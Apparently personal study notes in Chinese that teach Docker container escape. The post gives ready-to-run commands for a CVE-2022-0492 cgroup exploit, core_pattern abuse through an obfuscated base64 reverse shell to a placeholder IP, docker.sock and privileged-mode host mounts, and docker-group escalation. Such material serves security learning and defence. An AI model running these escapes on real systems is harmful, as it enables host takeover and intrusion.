本文仅仅只是对于上文中的docker逃逸手法的扩充补充,只复现了市面上出现过的类似docker技术,如有错漏的地方请各位指正,以下仅代表个人意见,是为记录个人学习过程而设置的,一切引用与本人无关。
确认容器环境
无论是docker还是其他隔离环境,首先第一步肯定是确认容器环境和对应的机器版本。(本文所有内容默认都是linux的shell,win的虚拟环境还没学到)可以分为虚拟主机,docker和k8s集群环境
1)虚拟主机
可以看成操作系统层面的conda,可以让多个用户共享一台服务器的硬件资源(如CPU、内存、硬盘),但每个用户都有一个独立的、隔离的环境。
应用场景: 网站托管、搭建应用服务器、部署数据库、进行远程开发等。它提供的是一个完整的、独立的操作系统环境。
类比: 虚拟主机就像一个独立的公寓。你拥有自己的房间(操作系统)、家具(软件)、水和电(资源),并且你的邻居(其他用户)不能随便进入你的房间,你们之间是隔离的。
在虚拟主机环境下,我们一般先考虑横向来进入权限更高的主机环境。
2)Docker
Docker是一种容器化技术,它打包应用程序及其所有依赖项(包括库、配置文件、环境变量等)到一个独立的、可移植的“容器”中。这个容器可以在任何支持Docker的环境中运行,而且运行结果是一致的。
docker环境我们一般先考虑逃逸再进行横向提权
3)k8s集群
Kubernetes,通常简称为 K8s,是一个开源的容器编排平台。它最初由谷歌开发,用于自动化容器化应用的部署、扩展和管理。简单来说,如果你有很多个 Docker 容器,并且需要让它们高效、稳定地协同工作,那么你就需要 K8s。
解决的问题: 当你的应用程序变得庞大,需要成百上千个容器时,手动管理它们几乎是不可能的。K8s 解决了在规模化生产环境中,容器部署、服务发现、负载均衡、故障恢复、自动伸缩和配置管理等一系列复杂问题。
Docker 就像一个轻便的集装箱,它负责打包你的应用。
K8s 就像一个大型的集装箱码头管理系统。它不负责生产集装箱,但它能自动调度成千上万个集装箱,知道每个集装箱要去哪、什么时候去,并在某个集装箱坏了的时候,自动替换一个新的上去,确保整个物流系统(你的应用)稳定运行。
4)常规思路
systemd-detect-virt #识别系统是在虚拟机、容器还是裸机上运行
在判断处于虚拟环境后就可以通过主机名或者进程名来判断是否处于容器环境了
hostname #查看主机名
ps aux #显示系统上所有用户的详细进程信息
当然也有很多别的方法,我这里都列举一下:
cat /proc/1/cgroup #用于查看进程ID为1的系统进程(通常是Init进程)所属的cgroup信息
grep 'docker' /proc/1/cgroup #查找是否存在‘Docker’字符串,现在的docker v2可能没用
ls -al /.dockerenv #列出dockerenv判断是否是docker
mount | grep '/type' #从当前系统中列出所有已挂载的文件系统
fdisk -l #列出系统上所有磁盘的分区信息
df -h #显示文件系统的磁盘使用情况和挂载点信息
env #显示当前系统环境中的所有环境变量
下面就是手动复现的手法总结了,如果想省时间,可以用下面两个项目检测一把梭
teamssix/container-escape-check: docker container escape check || Docker 容器逃逸检测
wgpsec/cloudsword: 一款帮助云租户发现和测试云上风险、增强云上防护能力的综合性开源工具
1、CVE-2022-0492
漏洞影响范围
- 受影响的版本:Linux内核5.4至5.16.11(部分版本可能因补丁状态而异)。
- 触发条件:需启用cgroups v1且攻击者拥有容器内
cgroup
的写权限(如挂载cgroup
文件系统)。
主要利用的是linux中自带的cgroup模块
- 描述:利用 Linux 内核的 call_usermodehelper 函数,通过 cgroups 的 release_agent 功能执行高权限程序。
- 要求:需要容器内根访问,修改 release_agent 文件。
- 步骤:创建并挂载 cgroup,设置 notify_on_release 为 1,指定可执行文件路径,清除组内任务。
- 检测:监控 call_usermodehelper 调用,识别受影响的调用,检查容器更改和文件修改。
挂载可写cgroup子系统
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
设置release_agent
路径(指向恶意脚本):
echo /tmp/payload.sh > /tmp/cgrp/release_agent
自己加payload进脚本然后加chmod执行
echo '#!/bin/sh' > /tmp/payload.sh
echo 'id > /tmp/exploit' >> /tmp/payload.sh
chmod +x /tmp/payload.sh
最后崩溃进程执行release_agent
echo $$ > /tmp/cgrp/cgroup.procs
还有很多带CVE的漏洞比如脏牛等,这些本质上是linux的内核漏洞在容器上的体现而已,所以这里不作赘述,这些可以按照正常的linux横向提权方式进行。
2、挂载procfs逃逸
在详细介绍挂载逃逸之前,我们先来了解一下 procfs(Proc File System)。
procfs 是一个虚拟文件系统,通常挂载在 /proc 目录。它不是存储在磁盘上的真实文件,而是内核动态生成的,用于提供关于系统运行时状态的信息。通过 procfs,你可以查看和修改内核参数、进程信息、内存使用情况、网络状态等。
例如:
- /proc/cpuinfo:包含 CPU 的信息。
- /proc/meminfo:包含内存使用情况。
- /proc/[pid]:包含特定进程的信息,如 /proc/self 代表当前进程。
利用前提是用户没有启动linux的安全机制user namespace对容器ID进行隔离映射时,此时容器root的UID和宿主机root的UID是相同的,可以通过写入进行逃逸。而在挂载了宿主机 procfs
的情况下,/host/proc/self/cgroup
会显示容器在宿主机上的真实 cgroup 路径。
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
find / -name core_pattern #确认有两个core_pattern就说明挂载了宿主机的procfs
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
#找到容器在宿主机中的路径
这里可以写一个python弹shell脚本传到pattern里面,但是我比较懒,我就写了个一句话
echo '|/bin/bash -c echo${IFS%%??}c2ggLWkgPiYvZGV2L3RjcC94eC54eC4wLnh4Lzg4MDAgMD4mMQ==|base64${IFS%%??}-d|/bin/bash' > /proc/sys/kernel/core_pattern
然后触发崩溃也可以写脚本或者一句话kill掉:
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc .crash.c -o .crash #注意先要有或者apt下载gcc
./.crash #触发崩溃执行pattern后嵌
or:
sh -c 'kill -11 "$$"'
3、docker socket逃逸
socket是docker的守护进程与客户端通信的接口,若容器挂载了/var/run/docker.sock
,就相当于获得了 Docker CLI(命令行接口)的完全访问权限。这也是最经典最容易利用的一个洞
既然能操作宿主机的docker,那就直接新建一个docker然后挂载宿主机的根目录
docker run -it -v /:/host ubuntu /bin/bash
然后chroot /host就直接逃逸成功了
4、privileged特权模式逃逸
当容器以--privileged启动的时候,会拥有包括但不限于CAP_SYS_ADMIN的所有权限,那逃逸就变得简单了。
cat /proc/self/status | grep CapEff #查看掩码值看是否是特权模式
capsh --decode=xxxxx #可以解码查看
如果是特权模式,那么就可以访问到宿主机的/dev/vda等目录,然后再将目录挂载
mkdir /escape && mount /dev/vda3 /escape
其实除了privileged特权,有些时候还会授予一些特殊权限,比如CAP_SYS_ADMIN,CAP_SYS_PTRACE等,这些都是高危的授权行为。
5、docker用户组逃逸
其实这个见到的可能性比较低,需要用户启动docker时给的用户是加入了docker组里面,因为docker所有命令都需要root权限,所以docker组也是root权限的,那也一样新建一个镜像挂载根目录逃逸:
docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease